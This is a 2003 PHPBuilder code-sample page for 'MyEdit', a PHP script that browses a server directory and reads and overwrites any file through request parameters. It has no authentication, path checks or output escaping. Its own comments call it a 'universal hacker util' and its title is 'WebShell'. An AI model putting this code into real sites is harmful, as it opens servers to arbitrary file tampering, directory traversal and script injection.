PHPBuilder - MyEdit



RSS Twitter
Snippets File Management

MyEdit

by: Sean
|
May 5, 2003

Version: 2.0.1

Type: Sample Code (HOWTO)

Category: File Management

License: GNU General Public License

Description: File editor. It's a short code, so don't worry about the length.



<?php
	ob_start(); 

//////////////////////////////////////////////////////////////////////////////////////////////////
// I've got this file from phpbuilder.com, edited a little and use for my own needs.		//
// This script have a big troubles working with DIRs (big CPU usage + lot's of warnings)	//
// I use it only for my own, that why do not think about such problems.				//
// Frankly speaking, this is a second script on PHP I make. Bugs may exist. :)			//
// Do not lose, that this is universal hacker util, to edit anything you want!!!		//
// 	original by 	: lentin64 (ver.1.0.0)							//
// 	edited by 	: BreeZe. mailto:bz@lenta.ru [GNU][MSU] (ver.2.0.0)			//
//////////////////////////////////////////////////////////////////////////////////////////////////

echo " 	<html> <body bgcolor=white text=black link=blue>\n";

if ($dir) 
{ 
	echo "Using $dir directory.";
	$mydir = $dir;
} else $mydir = ".";	// for unix use /home/usern/public_html/ 
				// or '.' for default dir

$curdir=dir($mydir);

if($writefile) 
{
	$fd=fopen($mydir."/".$file, "w");
	fwrite($fd, stripslashes($text));
	fclose($fd);
	header("Location: $PHP_SELF?dir=$mydir");
} 
elseif($file) 
{
	$fp=fopen($mydir."/".$file, "r"); // $mydir$myfile
	while(!feof($fp)) {
		$con .= fgets($fp, 4096);
		}
	fclose($fp);
	
	echo "	<FORM ACTION='$PHP_SELF' METHOD='post'>\n
		<input type=hidden name=writefile value=$file>\n
		<input type=hidden name=file value=$file>\n
		<input type=hidden name=dir value=$mydir>\n
		<TITLE>WebShell - Editing $file</TITLE>\n
		<TEXTAREA ROWS='20' COLS='55' NAME='text'>\n";
	echo $con;
	echo "	</TEXTAREA><BR>\n
		<input type='submit' value='Save'>\n</form>\n";
} 
else 
{
	while($file = $curdir->read()) { 	
		// originally was $curdir->read()
		echo "<a href='$PHP_SELF?file=$file&dir=".$mydir."'>$file</a><BR>\n";
		}		
	echo "	<FORM ACTION='$PHP_SELF' METHOD='post'>\n
		<input type=text name=dir value='$mydir'>\n
		<TITLE>Editing $file</TITLE>\n
		<input type='submit' value='Change dir'>\n</form>\n";
} 

ob_end_flush(); 
?>

Comment and Contribute

Your comment has been submitted and is pending approval.

Author:
Sean

Comment:



Comment:

(Maximum characters: 1200). You have characters left.